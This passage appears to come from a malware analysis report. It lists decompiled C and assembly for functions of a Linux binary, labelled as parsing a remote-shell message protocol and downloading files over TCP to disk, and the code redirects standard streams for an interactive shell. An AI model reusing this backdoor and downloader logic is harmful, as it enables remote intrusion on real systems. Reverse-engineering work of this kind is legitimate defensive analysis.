              if (iVar2 < 0) goto LAB_0040aed7;
              FUN_004193eb(iVar2,0x540e,0);
              FUN_0041db79(iVar2,0);
              FUN_0041db79(iVar2,1);
              FUN_0041db79(iVar2,2);
              if (2 < iVar2) {
                FUN_0041db41(iVar2);
              }
              lVar17 = FUN_0040a2e6(0x132);
              lVar6 = FUN_0040a2e6(0x131);
              param_4 = FUN_0040a2e6(0x134);
              lVar8 = FUN_0040a2e6(0x133);
              lVar9 = FUN_0040a2e6(0x135);
              lVar10 = FUN_0040a2e6(0x136);
              if ((lVar17 != 0) && (lVar6 != 0)) {
                FUN_00417b80(lVar17);
              }
              if ((param_4 != 0) && (lVar8 != 0)) {
                FUN_00417b80(param_4,lVar8,1);
              }
              if (lVar9 != 0) {
                FUN_00417b80(lVar9,&DAT_0062bc00,1);
              }
              if (lVar10 != 0) {
                FUN_00417b80(lVar10,&DAT_0062bc40,1);
              }
              pcVar16 = "-i";
              lVar17 = FUN_0040a2e6(0x12d);
              if (lVar17 == 0) goto LAB_0040aecd;
              lVar17 = FUN_0041d540(&DAT_0062bc80,lVar17);
              if (lVar17 == 0) goto LAB_0040aecd;
              FUN_0041bcc7(&DAT_0062bc80,&DAT_00426db3,&DAT_00426db3,&DAT_00426db0,0);
              goto LAB_0040aed7;
            }
LAB_0040af66:
            uVar5 = FUN_00417c6e(iVar2,3,0);
            if (uVar5 != 0xffffffff) {
              FUN_00417c6e(iVar2,4,uVar5 | 0x800);
            }
            DAT_0062b9e0 = iVar4;
            DAT_0062b9e4 = iVar2;
            iVar2 = FUN_0040a31c(param_3,param_4);
            if (iVar2 == 0) goto LAB_0040aa6c;
            goto LAB_0040ac5e;
          }
        }
        FUN_0041db41(iVar2);
      }
LAB_0040ac5e:
      lVar17 = FUN_0040b165(&local_40,7,4,0,0);
      if (lVar17 != 0) {
        (*param_3)(&local_40,lVar17,param_4);
        goto LAB_0040afb3;
      }
    }
  }
LAB_0040aa6c:
  pcVar16 = (char *)0x1;
LAB_0040afb3:
  return (ulong)pcVar16 & 0xffffffff;
}

Assembly · 380 instructions, 0 annotated
AddressBytesInstructionComment
0040aa1241 57PUSH R15
0040aa1441 56PUSH R14
0040aa1641 55PUSH R13
0040aa1841 54PUSH R12
0040aa1a55PUSH RBP
0040aa1b53PUSH RBX
0040aa1c48 83 ec 38SUB RSP,0x38
0040aa2048 85 ffTEST RDI,RDI
0040aa2374 07JZ LAB_0040aa2c
0040aa2589 f5MOV EBP,ESI
0040aa2783 fe 06CMP ESI,0x6
0040aa2a7f 08JG LAB_0040aa34
LAB_0040aa2c:
0040aa2c45 31 e4XOR R12D,R12D
0040aa2fe9 7f 05 00 00JMP LAB_0040afb3
LAB_0040aa34:
0040aa3448 89 7c 24 08MOV qword ptr [RSP + local_60],RDI
0040aa3948 89 d3MOV RBX,RDX
0040aa3c49 89 cdMOV R13,RCX
0040aa3fe8 74 06 00 00CALL FUN_0040b0b8
0040aa4485 c0TEST EAX,EAX
0040aa4674 e4JZ LAB_0040aa2c
0040aa4848 8b 7c 24 08MOV RDI,qword ptr [RSP + local_60]
0040aa4d48 8d 4c 24 20LEA RCX,[RSP + 0x20]
0040aa5248 8d 54 24 1dLEA RDX,[RSP + 0x1d]
0040aa5748 63 f5MOVSXD RSI,EBP
0040aa5a4c 8d 44 24 1eLEA R8,[RSP + 0x1e]
0040aa5fe8 97 06 00 00CALL FUN_0040b0fb
0040aa6441 89 c4MOV R12D,EAX
0040aa6783 f8 01CMP EAX,0x1
0040aa6a74 0bJZ LAB_0040aa77
LAB_0040aa6c:
0040aa6c41 bc 01 00 00 00MOV R12D,0x1
0040aa72e9 3c 05 00 00JMP LAB_0040afb3
LAB_0040aa77:
0040aa778a 44 24 1dMOV AL,byte ptr [RSP + local_4b]
0040aa7b3c 03CMP AL,0x3
0040aa7d0f 84 10 02 00 00JZ LAB_0040ac93
0040aa833c 04CMP AL,0x4
0040aa850f 84 5e 02 00 00JZ LAB_0040ace9
0040aa8bfe c8DEC AL
0040aa8d0f 85 20 05 00 00JNZ LAB_0040afb3
0040aa9383 3d 4a 0f 22 00 00CMP dword ptr [DAT_0062b9e4],0x0
0040aa9a78 05JS LAB_0040aaa1
0040aa9ce8 a7 fe ff ffCALL FUN_0040a948
LAB_0040aaa1:
0040aaa148 8b 05 48 3c 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040aaa848 8b b0 e0 04 00 00MOV RSI,qword ptr [RAX + 0x4e0]
0040aaaf4c 8b 90 20 10 00 00MOV R10,qword ptr [RAX + 0x1020]
0040aab68b 88 e8 04 00 00MOV ECX,dword ptr [RAX + 0x4e8]
0040aabc8b 80 28 10 00 00MOV EAX,dword ptr [RAX + 0x1028]
0040aac248 85 f6TEST RSI,RSI
0040aac574 05JZ LAB_0040aacc
0040aac74d 85 d2TEST R10,R10
0040aaca75 0cJNZ LAB_0040aad8
LAB_0040aacc:
0040aacc45 31 ffXOR R15D,R15D
0040aacf48 8d 2d 4a c3 01 00LEA RBP,[DAT_00426e20]
0040aad6eb 69JMP LAB_0040ab41
LAB_0040aad8:
0040aad885 c9TEST ECX,ECX
0040aada7e f0JLE LAB_0040aacc
0040aadc85 c0TEST EAX,EAX
0040aade7e ecJLE LAB_0040aacc
0040aae08d 51 01LEA EDX,[RCX + 0x1]
0040aae344 8d 0c 10LEA R9D,[RAX + RDX*0x1]
0040aae741 81 f9 ff 00 00 00CMP R9D,0xff
0040aaee7f dcJG LAB_0040aacc
0040aaf04c 8d 05 89 11 22 00LEA R8,[DAT_0062bc80]
0040aaf74c 63 d9MOVSXD R11,ECX
0040aafa48 63 d2MOVSXD RDX,EDX
0040aafd89 c9MOV ECX,ECX
0040aaff4c 89 c7MOV RDI,R8
0040ab024c 01 c2ADD RDX,R8
0040ab054d 63 c9MOVSXD R9,R9D
0040ab08f3 a4MOVSB.REP RDI,RSI
0040ab0a43 c6 04 18 2fMOV byte ptr [R8 + R11*0x1],0x2f
0040ab0f89 c1MOV ECX,EAX
0040ab1148 89 d7MOV RDI,RDX
0040ab144c 89 d6MOV RSI,R10
0040ab17f3 a4MOVSB.REP RDI,RSI
0040ab1943 c6 04 08 00MOV byte ptr [R8 + R9*0x1],0x0
0040ab1e4c 89 c7MOV RDI,R8
0040ab21e8 6e f9 ff ffCALL FUN_0040a494
0040ab2685 c0TEST EAX,EAX
0040ab2875 6eJNZ LAB_0040ab98
0040ab2aeb a0JMP LAB_0040aacc
LAB_0040ab2c:
0040ab2c48 89 c7MOV RDI,RAX
0040ab2fe8 60 f9 ff ffCALL FUN_0040a494
0040ab3485 c0TEST EAX,EAX
0040ab3675 43JNZ LAB_0040ab7b
LAB_0040ab38:
0040ab3849 ff c7INC R15
0040ab3b49 83 ff 08CMP R15,0x8
0040ab3f74 14JZ LAB_0040ab55
LAB_0040ab41:
0040ab4142 8b 7c bd 00MOV EDI,dword ptr [RBP + R15*0x4]
0040ab46e8 9b f7 ff ffCALL FUN_0040a2e6
0040ab4b49 89 c6MOV R14,RAX
0040ab4e48 85 c0TEST RAX,RAX
0040ab5175 d9JNZ LAB_0040ab2c
0040ab53eb e3JMP LAB_0040ab38
LAB_0040ab55:
0040ab55bf 2d 01 00 00MOV EDI,0x12d
0040ab5ae8 87 f7 ff ffCALL FUN_0040a2e6
0040ab5f49 89 c6MOV R14,RAX
0040ab6248 85 c0TEST RAX,RAX
0040ab650f 84 f3 00 00 00JZ LAB_0040ac5e
0040ab6b48 89 c7MOV RDI,RAX
0040ab6ee8 21 f9 ff ffCALL FUN_0040a494
0040ab7385 c0TEST EAX,EAX
0040ab750f 84 e3 00 00 00JZ LAB_0040ac5e
LAB_0040ab7b:
0040ab7b4c 89 f1MOV RCX,R14
0040ab7e48 8d 15 bc c2 01 00LEA RDX,[DAT_00426e41]
0040ab85be 00 01 00 00MOV ESI,0x100
0040ab8a31 c0XOR EAX,EAX
0040ab8c48 8d 3d ed 10 22 00LEA RDI,[DAT_0062bc80]
0040ab93e8 31 1c 01 00CALL FUN_0041c7c9
LAB_0040ab98:
0040ab98c6 05 a1 10 22 00 00MOV byte ptr [DAT_0062bc40],0x0
0040ab9fc6 05 5a 10 22 00 00MOV byte ptr [DAT_0062bc00],0x0
0040aba6c6 05 53 0f 22 00 00MOV byte ptr [DAT_0062bb00],0x0
0040abade8 f5 30 01 00CALL FUN_0041dca7
0040abb289 c7MOV EDI,EAX
0040abb4e8 b1 fc ff ffCALL FUN_0040a86a
0040abb980 3d 80 10 22 00 00CMP byte ptr [DAT_0062bc40],0x0
0040abc075 47JNZ LAB_0040ac09
0040abc2e8 6a 30 01 00CALL FUN_0041dc31
0040abc7bf 2e 01 00 00MOV EDI,0x12e
0040abcc4c 8d 0d 6e c2 01 00LEA R9,[DAT_00426e41]
0040abd34c 8d 05 66 10 22 00LEA R8,[DAT_0062bc40]
0040abda85 c0TEST EAX,EAX
0040abdc74 05JZ LAB_0040abe3
0040abdebf 2f 01 00 00MOV EDI,0x12f
LAB_0040abe3:
0040abe3e8 fe f6 ff ffCALL FUN_0040a2e6
0040abe848 89 c1MOV RCX,RAX
0040abeb48 85 c0TEST RAX,RAX
0040abee75 07JNZ LAB_0040abf7
0040abf048 8d 0d bc cd 01 00LEA RCX,[DAT_004279b3]
LAB_0040abf7:
0040abf74c 89 caMOV RDX,R9
0040abfabe 40 00 00 00MOV ESI,0x40
0040abff4c 89 c7MOV RDI,R8
0040ac0231 c0XOR EAX,EAX
0040ac04e8 c0 1b 01 00CALL FUN_0041c7c9
LAB_0040ac09:
0040ac09e8 71 f9 ff ffCALL FUN_0040a57f
0040ac0e48 8d 2d eb 0e 22 00LEA RBP,[DAT_0062bb00]
0040ac15be ff 00 00 00MOV ESI,0xff
0040ac1a48 89 efMOV RDI,RBP
0040ac1de8 78 2f 01 00CALL FUN_0041db9a
0040ac2248 85 c0TEST RAX,RAX
0040ac2575 0fJNZ LAB_0040ac36
0040ac2748 8d 35 32 a2 01 00LEA RSI,[DAT_00424e60]
0040ac2e48 89 efMOV RDI,RBP
0040ac31e8 6a 22 01 00CALL FUN_0041cea0
LAB_0040ac36:
0040ac36bf 30 01 00 00MOV EDI,0x130
0040ac3be8 a6 f6 ff ffCALL FUN_0040a2e6
0040ac4048 89 c7MOV RDI,RAX
0040ac4348 85 c0TEST RAX,RAX
0040ac460f 85 a7 00 00 00JNZ LAB_0040acf3
LAB_0040ac4c:
0040ac4c48 8d 7c 24 28LEA RDI,[RSP + 0x28]
0040ac51e8 6e 30 01 00CALL FUN_0041dcc4
0040ac5685 c0TEST EAX,EAX
0040ac580f 84 83 02 00 00JZ LAB_0040aee1
LAB_0040ac5e:
0040ac5e48 8d 6c 24 28LEA RBP,[RSP + 0x28]
0040ac63be 07 00 00 00MOV ESI,0x7
0040ac6845 31 c0XOR R8D,R8D
0040ac6b31 c9XOR ECX,ECX
0040ac6dba 04 00 00 00MOV EDX,0x4
0040ac7248 89 efMOV RDI,RBP
0040ac75e8 eb 04 00 00CALL FUN_0040b165
0040ac7a48 89 c6MOV RSI,RAX
0040ac7d48 85 c0TEST RAX,RAX
0040ac800f 84 e6 fd ff ffJZ LAB_0040aa6c
0040ac864c 89 eaMOV RDX,R13
0040ac8948 89 efMOV RDI,RBP
0040ac8cff d3CALL RBX
0040ac8ee9 20 03 00 00JMP LAB_0040afb3
LAB_0040ac93:
0040ac9383 3d 4a 0d 22 00 00CMP dword ptr [DAT_0062b9e4],0x0
0040ac9a0f 88 cc fd ff ffJS LAB_0040aa6c
0040aca00f b7 6c 24 1eMOVZX EBP,word ptr [RSP + local_4a]
0040aca566 85 edTEST BP,BP
0040aca80f 84 be fd ff ffJZ LAB_0040aa6c
0040acae4c 8b 64 24 20MOV R12,qword ptr [RSP + local_48]
0040acb34d 85 e4TEST R12,R12
0040acb60f 84 b0 fd ff ffJZ LAB_0040aa6c
0040acbc31 dbXOR EBX,EBX
LAB_0040acbe:
0040acbe48 89 eaMOV RDX,RBP
0040acc18b 3d 1d 0d 22 00MOV EDI,dword ptr [DAT_0062b9e4]
0040acc749 8d 34 1cLEA RSI,[R12 + RBX*0x1]
0040accb48 29 daSUB RDX,RBX
0040accee8 02 31 01 00CALL FUN_0041ddd5
0040acd348 85 c0TEST RAX,RAX
0040acd60f 8e 90 fd ff ffJLE LAB_0040aa6c
0040acdc48 01 c3ADD RBX,RAX
0040acdf48 39 ddCMP RBP,RBX
0040ace277 daJA LAB_0040acbe
0040ace4e9 83 fd ff ffJMP LAB_0040aa6c
LAB_0040ace9:
0040ace9e8 5a fc ff ffCALL FUN_0040a948
0040aceee9 c0 02 00 00JMP LAB_0040afb3
LAB_0040acf3:
0040acf3be 02 01 00 00MOV ESI,0x102
0040acf831 c0XOR EAX,EAX
0040acfae8 c6 d0 00 00CALL FUN_00417dc5
0040acff89 c5MOV EBP,EAX
0040ad0185 c0TEST EAX,EAX
0040ad030f 88 43 ff ff ffJS LAB_0040ac4c
0040ad0989 c7MOV EDI,EAX
0040ad0be8 1a e7 00 00CALL FUN_0041942a
0040ad1085 c0TEST EAX,EAX
0040ad1274 0cJZ LAB_0040ad20
LAB_0040ad14:
0040ad1489 efMOV EDI,EBP
0040ad16e8 26 2e 01 00CALL FUN_0041db41
0040ad1be9 2c ff ff ffJMP LAB_0040ac4c
LAB_0040ad20:
0040ad2089 efMOV EDI,EBP
0040ad22e8 06 e7 00 00CALL FUN_0041942d
0040ad2785 c0TEST EAX,EAX
0040ad2975 e9JNZ LAB_0040ad14
0040ad2b89 efMOV EDI,EBP
0040ad2de8 08 f7 ff ffCALL FUN_0040a43a
0040ad3248 85 c0TEST RAX,RAX
0040ad3574 ddJZ LAB_0040ad14
0040ad37e8 a2 10 01 00CALL FUN_0041bdde
0040ad3c89 efMOV EDI,EBP
0040ad3e41 89 c6MOV R14D,EAX
0040ad4185 c0TEST EAX,EAX
0040ad430f 88 b1 01 00 00JS LAB_0040aefa
0040ad490f 85 17 02 00 00JNZ LAB_0040af66
0040ad4fe8 e6 f6 ff ffCALL FUN_0040a43a
0040ad5489 efMOV EDI,EBP
0040ad5649 89 c4MOV R12,RAX
0040ad59e8 e3 2d 01 00CALL FUN_0041db41
0040ad5e4d 85 e4TEST R12,R12
0040ad610f 84 70 01 00 00JZ LAB_0040aed7
0040ad6741 80 3c 24 00CMP byte ptr [R12],0x0
0040ad6c0f 84 65 01 00 00JZ LAB_0040aed7
0040ad72e8 da 2f 01 00CALL FUN_0041dd51
0040ad77be 02 00 00 00MOV ESI,0x2
0040ad7c4c 89 e7MOV RDI,R12
0040ad7f31 c0XOR EAX,EAX
0040ad81e8 3f d0 00 00CALL FUN_00417dc5
0040ad8689 c5MOV EBP,EAX
0040ad8885 c0TEST EAX,EAX
0040ad8a0f 88 47 01 00 00JS LAB_0040aed7
0040ad9031 d2XOR EDX,EDX
0040ad9289 c7MOV EDI,EAX
0040ad94be 0e 54 00 00MOV ESI,0x540e
0040ad9931 c0XOR EAX,EAX
0040ad9be8 4b e6 00 00CALL FUN_004193eb
0040ada031 f6XOR ESI,ESI
0040ada289 efMOV EDI,EBP
0040ada4e8 d0 2d 01 00CALL FUN_0041db79
0040ada9be 01 00 00 00MOV ESI,0x1
0040adae89 efMOV EDI,EBP
0040adb0e8 c4 2d 01 00CALL FUN_0041db79
0040adb5be 02 00 00 00MOV ESI,0x2
0040adba89 efMOV EDI,EBP
0040adbce8 b8 2d 01 00CALL FUN_0041db79
0040adc183 fd 02CMP EBP,0x2
0040adc47e 07JLE LAB_0040adcd
0040adc689 efMOV EDI,EBP
0040adc8e8 74 2d 01 00CALL FUN_0041db41
LAB_0040adcd:
0040adcdbf 32 01 00 00MOV EDI,0x132
0040add2e8 0f f5 ff ffCALL FUN_0040a2e6
0040add7bf 31 01 00 00MOV EDI,0x131
0040addc49 89 c0MOV R8,RAX
0040addfe8 02 f5 ff ffCALL FUN_0040a2e6
0040ade4bf 34 01 00 00MOV EDI,0x134
0040ade948 89 c6MOV RSI,RAX
0040adece8 f5 f4 ff ffCALL FUN_0040a2e6
0040adf1bf 33 01 00 00MOV EDI,0x133
0040adf649 89 c5MOV R13,RAX
0040adf9e8 e8 f4 ff ffCALL FUN_0040a2e6
0040adfebf 35 01 00 00MOV EDI,0x135
0040ae0349 89 c6MOV R14,RAX
0040ae06e8 db f4 ff ffCALL FUN_0040a2e6
0040ae0bbf 36 01 00 00MOV EDI,0x136
0040ae1049 89 c4MOV R12,RAX
0040ae13e8 ce f4 ff ffCALL FUN_0040a2e6
0040ae1848 89 c5MOV RBP,RAX
0040ae1b4d 85 c0TEST R8,R8
0040ae1e74 12JZ LAB_0040ae32
0040ae2048 85 f6TEST RSI,RSI
0040ae2374 0dJZ LAB_0040ae32
0040ae25ba 01 00 00 00MOV EDX,0x1
0040ae2a4c 89 c7MOV RDI,R8
0040ae2de8 4e cd 00 00CALL FUN_00417b80
LAB_0040ae32:
0040ae324d 85 edTEST R13,R13
0040ae3574 15JZ LAB_0040ae4c
0040ae374d 85 f6TEST R14,R14
0040ae3a74 10JZ LAB_0040ae4c
0040ae3cba 01 00 00 00MOV EDX,0x1
0040ae414c 89 f6MOV RSI,R14
0040ae444c 89 efMOV RDI,R13
0040ae47e8 34 cd 00 00CALL FUN_00417b80
LAB_0040ae4c:
0040ae4c4d 85 e4TEST R12,R12
0040ae4f74 14JZ LAB_0040ae65
0040ae51ba 01 00 00 00MOV EDX,0x1
0040ae5648 8d 35 a3 0d 22 00LEA RSI,[DAT_0062bc00]
0040ae5d4c 89 e7MOV RDI,R12
0040ae60e8 1b cd 00 00CALL FUN_00417b80
LAB_0040ae65:
0040ae6548 85 edTEST RBP,RBP
0040ae6874 14JZ LAB_0040ae7e
0040ae6aba 01 00 00 00MOV EDX,0x1
0040ae6f48 8d 35 ca 0d 22 00LEA RSI,[DAT_0062bc40]
0040ae7648 89 efMOV RDI,RBP
0040ae79e8 02 cd 00 00CALL FUN_00417b80
LAB_0040ae7e:
0040ae7ebf 2d 01 00 00MOV EDI,0x12d
0040ae834c 8d 25 26 bf 01 00LEA R12,[DAT_00426db0]
0040ae8ae8 57 f4 ff ffCALL FUN_0040a2e6
0040ae8f48 8d 3d ea 0d 22 00LEA RDI,[DAT_0062bc80]
0040ae9648 85 c0TEST RAX,RAX
0040ae9948 89 c6MOV RSI,RAX
0040ae9c74 2aJZ LAB_0040aec8
0040ae9ee8 9d 26 01 00CALL FUN_0041d540
0040aea348 8d 3d d6 0d 22 00LEA RDI,[DAT_0062bc80]
0040aeaa48 85 c0TEST RAX,RAX
0040aead74 19JZ LAB_0040aec8
0040aeaf48 8d 35 fd be 01 00LEA RSI,[DAT_00426db3]
0040aeb645 31 c0XOR R8D,R8D
0040aeb94c 89 e1MOV RCX,R12
0040aebc31 c0XOR EAX,EAX
0040aebe48 89 f2MOV RDX,RSI
0040aec1e8 01 0e 01 00CALL FUN_0041bcc7
0040aec6eb 0fJMP LAB_0040aed7
LAB_0040aec8:
0040aec831 c9XOR ECX,ECX
0040aeca4c 89 e2MOV RDX,R12
LAB_0040aecd:
0040aecd48 89 feMOV RSI,RDI
0040aed031 c0XOR EAX,EAX
0040aed2e8 f0 0d 01 00CALL FUN_0041bcc7
LAB_0040aed7:
0040aed7bf 7f 00 00 00MOV EDI,0x7f
0040aedce8 33 2c 01 00CALL FUN_0041db14
LAB_0040aee1:
0040aee1e8 f8 0e 01 00CALL FUN_0041bdde
0040aee641 89 c6MOV R14D,EAX
0040aee985 c0TEST EAX,EAX
0040aeeb79 17JNS LAB_0040af04
0040aeed8b 7c 24 28MOV EDI,dword ptr [RSP + local_40]
0040aef1e8 4b 2c 01 00CALL FUN_0041db41
0040aef68b 7c 24 2cMOV EDI,dword ptr [RSP + local_3c]
LAB_0040aefa:
0040aefae8 42 2c 01 00CALL FUN_0041db41
0040aeffe9 5a fd ff ffJMP LAB_0040ac5e
LAB_0040af04:
0040af0475 53JNZ LAB_0040af59
0040af068b 7c 24 2cMOV EDI,dword ptr [RSP + local_3c]
0040af0ae8 32 2c 01 00CALL FUN_0041db41
0040af0f8b 7c 24 28MOV EDI,dword ptr [RSP + local_40]
0040af1331 f6XOR ESI,ESI
0040af15e8 5f 2c 01 00CALL FUN_0041db79
0040af1a8b 7c 24 28MOV EDI,dword ptr [RSP + local_40]
0040af1ebe 01 00 00 00MOV ESI,0x1
0040af23e8 51 2c 01 00CALL FUN_0041db79
0040af288b 7c 24 28MOV EDI,dword ptr [RSP + local_40]
0040af2cbe 02 00 00 00MOV ESI,0x2
0040af31e8 43 2c 01 00CALL FUN_0041db79
0040af368b 7c 24 28MOV EDI,dword ptr [RSP + local_40]
0040af3ae8 02 2c 01 00CALL FUN_0041db41
0040af3fe8 0d 2e 01 00CALL FUN_0041dd51
0040af4431 c9XOR ECX,ECX
0040af4648 8d 15 63 be 01 00LEA RDX,[DAT_00426db0]
0040af4d48 8d 3d 2c 0d 22 00LEA RDI,[DAT_0062bc80]
0040af54e9 74 ff ff ffJMP LAB_0040aecd
LAB_0040af59:
0040af598b 7c 24 28MOV EDI,dword ptr [RSP + local_40]
0040af5de8 df 2b 01 00CALL FUN_0041db41
0040af628b 6c 24 2cMOV EBP,dword ptr [RSP + local_3c]
LAB_0040af66:
0040af6631 d2XOR EDX,EDX
0040af6831 c0XOR EAX,EAX
0040af6abe 03 00 00 00MOV ESI,0x3
0040af6f89 efMOV EDI,EBP
0040af71e8 f8 cc 00 00CALL FUN_00417c6e
0040af7683 f8 ffCMP EAX,-0x1
0040af7974 13JZ LAB_0040af8e
0040af7b80 cc 08OR AH,0x8
0040af7ebe 04 00 00 00MOV ESI,0x4
0040af8389 efMOV EDI,EBP
0040af8589 c2MOV EDX,EAX
0040af8731 c0XOR EAX,EAX
0040af89e8 e0 cc 00 00CALL FUN_00417c6e
LAB_0040af8e:
0040af8e4c 89 eeMOV RSI,R13
0040af9148 89 dfMOV RDI,RBX
0040af9489 2d 4a 0a 22 00MOV dword ptr [DAT_0062b9e4],EBP
0040af9a44 89 35 3f 0a 22 00MOV dword ptr [DAT_0062b9e0],R14D
0040afa1e8 76 f3 ff ffCALL FUN_0040a31c
0040afa685 c0TEST EAX,EAX
0040afa80f 84 be fa ff ffJZ LAB_0040aa6c
0040afaee9 ab fc ff ffJMP LAB_0040ac5e
LAB_0040afb3:
0040afb348 83 c4 38ADD RSP,0x38
0040afb744 89 e0MOV EAX,R12D
0040afba5bPOP RBX
0040afbb5dPOP RBP
0040afbc41 5cPOP R12
0040afbe41 5dPOP R13
0040afc041 5ePOP R14
0040afc241 5fPOP R15
0040afc4c3RET

parses the shell message header

0x40b0fb106 bytes
undefined FUN_0040b0fb()

parses the shell message header (subtype, length, payload)

Cited as
E28
Behaviours
B11
Called from
FUN_0040aa12
Calls
FUN_0040b0b8
Decompiled C · 36 lines
undefined8
FUN_0040b0fb(long param_1,ulong param_2,undefined1 *param_3,long *param_4,undefined2 *param_5)

{
  int iVar1;
  undefined8 uVar2;
  undefined1 uVar3;
  undefined1 uVar4;
  
  if ((param_1 != 0) && (6 < param_2)) {
    iVar1 = FUN_0040b0b8();
    uVar2 = 0xffffffff;
    if (iVar1 != 0) {
      uVar3 = (undefined1)*(undefined2 *)(param_1 + 5);
      uVar4 = (undefined1)((ushort)*(undefined2 *)(param_1 + 5) >> 8);
      uVar2 = 0xffffffff;
      if ((CONCAT11(uVar3,uVar4) < 0x1001) &&
         (uVar2 = 0, (CONCAT11(uVar3,uVar4) + 7 & 0xffff) <= param_2)) {
        if (param_3 != (undefined1 *)0x0) {
          *param_3 = *(undefined1 *)(param_1 + 4);
        }
        if (param_5 != (undefined2 *)0x0) {
          *param_5 = CONCAT11(uVar3,uVar4);
        }
        uVar2 = 1;
        if (param_4 != (long *)0x0) {
          *param_4 = param_1 + 7;
        }
      }
    }
    return uVar2;
  }
  return 0;
}

Assembly · 38 instructions, 0 annotated
AddressBytesInstructionComment
0040b0fb48 85 ffTEST RDI,RDI
0040b0fe74 5fJZ LAB_0040b15f
0040b10048 83 fe 06CMP RSI,0x6
0040b10476 59JBE LAB_0040b15f
0040b10641 54PUSH R12
0040b10849 89 d3MOV R11,RDX
0040b10b49 89 caMOV R10,RCX
0040b10ee8 a5 ff ff ffCALL FUN_0040b0b8
0040b11341 89 c4MOV R12D,EAX
0040b11683 c8 ffOR EAX,0xffffffff
0040b11945 85 e4TEST R12D,R12D
0040b11c74 44JZ LAB_0040b162
0040b11e66 8b 57 05MOV DX,word ptr [RDI + 0x5]
0040b12286 f2XCHG DL,DH
0040b12466 81 fa 00 10CMP DX,0x1000
0040b12977 37JA LAB_0040b162
0040b12b8d 4a 07LEA ECX,[RDX + 0x7]
0040b12e31 c0XOR EAX,EAX
0040b1300f b7 c9MOVZX ECX,CX
0040b13348 39 f1CMP RCX,RSI
0040b13677 2aJA LAB_0040b162
0040b1384d 85 dbTEST R11,R11
0040b13b74 06JZ LAB_0040b143
0040b13d8a 47 04MOV AL,byte ptr [RDI + 0x4]
0040b14041 88 03MOV byte ptr [R11],AL
LAB_0040b143:
0040b1434d 85 c0TEST R8,R8
0040b14674 04JZ LAB_0040b14c
0040b14866 41 89 10MOV word ptr [R8],DX
LAB_0040b14c:
0040b14cb8 01 00 00 00MOV EAX,0x1
0040b1514d 85 d2TEST R10,R10
0040b15474 0cJZ LAB_0040b162
0040b15648 83 c7 07ADD RDI,0x7
0040b15a49 89 3aMOV qword ptr [R10],RDI
0040b15deb 03JMP LAB_0040b162
LAB_0040b15f:
0040b15f31 c0XOR EAX,EAX
0040b161c3RET
LAB_0040b162:
0040b16241 5cPOP R12
0040b164c3RET

downloads a file over a TCP request and…

0x40b89c2893 bytes
undefined FUN_0040b89c()

downloads a file over a TCP request and writes it to disk

Cited as
E13
Behaviours
B9
Called from
FUN_0040c42a
Calls
FUN_0040b1d8, FUN_0040b20e, FUN_0040b22d, FUN_0040b255, FUN_0040b3ad, FUN_0040b581, FUN_0040b80d, FUN_0040cf8f, FUN_00414172, FUN_004143a1, FUN_00417a9c, FUN_00417dc5, thunk_FUN_004183e7, FUN_00419689, FUN_00419b0d, FUN_0041b0ec, FUN_0041bba3, FUN_0041bc03, FUN_0041c306, FUN_0041c4d7, FUN_0041c633, FUN_0041c7c9, FUN_0041cad4, FUN_0041cd50, FUN_0041ce60
Decompiled C · 289 lines
/* WARNING: Removing unreachable block (ram,0x0040bd10) */
/* WARNING: Removing unreachable block (ram,0x0040bd18) */
/* WARNING: Removing unreachable block (ram,0x0040bd29) */
/* WARNING: Removing unreachable block (ram,0x0040bd33) */
/* WARNING: Removing unreachable block (ram,0x0040bd54) */
/* WARNING: Removing unreachable block (ram,0x0040bd6d) */
/* WARNING: Removing unreachable block (ram,0x0040bd82) */
/* WARNING: Removing unreachable block (ram,0x0040bda0) */
/* WARNING: Removing unreachable block (ram,0x0040bdbc) */
/* WARNING: Removing unreachable block (ram,0x0040bde2) */
/* WARNING: Removing unreachable block (ram,0x0040bdf8) */
/* WARNING: Removing unreachable block (ram,0x0040bdfd) */
/* WARNING: Removing unreachable block (ram,0x0040be14) */
/* WARNING: Removing unreachable block (ram,0x0040be6e) */
/* WARNING: Removing unreachable block (ram,0x0040beeb) */
/* WARNING: Removing unreachable block (ram,0x0040bf05) */
/* WARNING: Removing unreachable block (ram,0x0040bf21) */
/* WARNING: Removing unreachable block (ram,0x0040bf2d) */
/* WARNING: Removing unreachable block (ram,0x0040bf47) */
/* WARNING: Removing unreachable block (ram,0x0040bf7c) */
/* WARNING: Removing unreachable block (ram,0x0040c161) */
/* WARNING: Removing unreachable block (ram,0x0040c199) */
/* WARNING: Removing unreachable block (ram,0x0040c1a6) */
/* WARNING: Removing unreachable block (ram,0x0040c1ac) */
/* WARNING: Removing unreachable block (ram,0x0040bf88) */
/* WARNING: Removing unreachable block (ram,0x0040c1c3) */
/* WARNING: Removing unreachable block (ram,0x0040c1d7) */
/* WARNING: Removing unreachable block (ram,0x0040c1e2) */
/* WARNING: Removing unreachable block (ram,0x0040c1f5) */
/* WARNING: Removing unreachable block (ram,0x0040c215) */
/* WARNING: Removing unreachable block (ram,0x0040c21c) */
/* WARNING: Removing unreachable block (ram,0x0040c223) */
/* WARNING: Removing unreachable block (ram,0x0040c22a) */
/* WARNING: Removing unreachable block (ram,0x0040bf9e) */
/* WARNING: Removing unreachable block (ram,0x0040bfaf) */
/* WARNING: Removing unreachable block (ram,0x0040bfb1) */
/* WARNING: Removing unreachable block (ram,0x0040bfcf) */
/* WARNING: Removing unreachable block (ram,0x0040bfe3) */
/* WARNING: Removing unreachable block (ram,0x0040bffd) */
/* WARNING: Removing unreachable block (ram,0x0040c005) */
/* WARNING: Removing unreachable block (ram,0x0040c017) */
/* WARNING: Removing unreachable block (ram,0x0040c021) */
/* WARNING: Removing unreachable block (ram,0x0040c03c) */
/* WARNING: Removing unreachable block (ram,0x0040c048) */
/* WARNING: Removing unreachable block (ram,0x0040c05a) */
/* WARNING: Removing unreachable block (ram,0x0040c05f) */
/* WARNING: Removing unreachable block (ram,0x0040c06a) */
/* WARNING: Removing unreachable block (ram,0x0040c06f) */
/* WARNING: Removing unreachable block (ram,0x0040c071) */
/* WARNING: Removing unreachable block (ram,0x0040c085) */
/* WARNING: Removing unreachable block (ram,0x0040c088) */
/* WARNING: Removing unreachable block (ram,0x0040c092) */
/* WARNING: Removing unreachable block (ram,0x0040c095) */
/* WARNING: Removing unreachable block (ram,0x0040c099) */
/* WARNING: Removing unreachable block (ram,0x0040c0a1) */
/* WARNING: Removing unreachable block (ram,0x0040c0a5) */
/* WARNING: Removing unreachable block (ram,0x0040c0b0) */
/* WARNING: Removing unreachable block (ram,0x0040c0ab) */
/* WARNING: Removing unreachable block (ram,0x0040c0b4) */
